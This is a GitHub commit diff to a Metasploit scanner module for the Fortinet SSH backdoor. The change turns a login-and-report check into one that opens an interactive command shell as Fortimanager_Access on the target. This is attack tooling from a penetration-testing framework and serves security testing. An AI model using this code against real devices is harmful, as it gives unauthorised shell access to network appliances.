Skip to content

Commit 854ac67

Browse files
committed
Use start_session in fortinet_backdoor
Still get "Unknown admin user ''" from a shell channel request, @busterb's more complete implementation notwithstanding. Hoping we fix this in a subsequent commit or related PR. Please see rapid7#6612 and rapid7#9524.
1 parent 78822fd commit 854ac67

File tree

1 file changed

+25
-9
lines changed

1 file changed

+25
-9
lines changed

modules/auxiliary/scanner/ssh/fortinet_backdoor.rb

Lines changed: 25 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
77
include Msf::Exploit::Remote::SSH
88
include Msf::Exploit::Remote::Fortinet
99
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::CommandShell
1011
include Msf::Auxiliary::Report
1112

1213
def initialize(info = {})
@@ -63,15 +64,30 @@ def run_host(ip)
6364
return
6465
end
6566

66-
if ssh
67-
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
68-
report_vuln(
69-
host: ip,
70-
name: self.name,
71-
refs: self.references,
72-
info: ssh.transport.server_version.version
73-
)
74-
end
67+
return unless ssh
68+
69+
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
70+
71+
version = ssh.transport.server_version.version
72+
73+
report_vuln(
74+
host: ip,
75+
name: self.name,
76+
refs: self.references,
77+
info: version
78+
)
79+
80+
shell = Net::SSH::CommandStream.new(ssh)
81+
82+
return unless shell
83+
84+
info = "Fortinet SSH Backdoor (#{version})"
85+
86+
ds_merge = {
87+
'USERNAME' => 'Fortimanager_Access'
88+
}
89+
90+
start_session(self, info, ds_merge, false, shell.lsock)
7591
end
7692

7793
def rport

0 commit comments

Comments
 (0)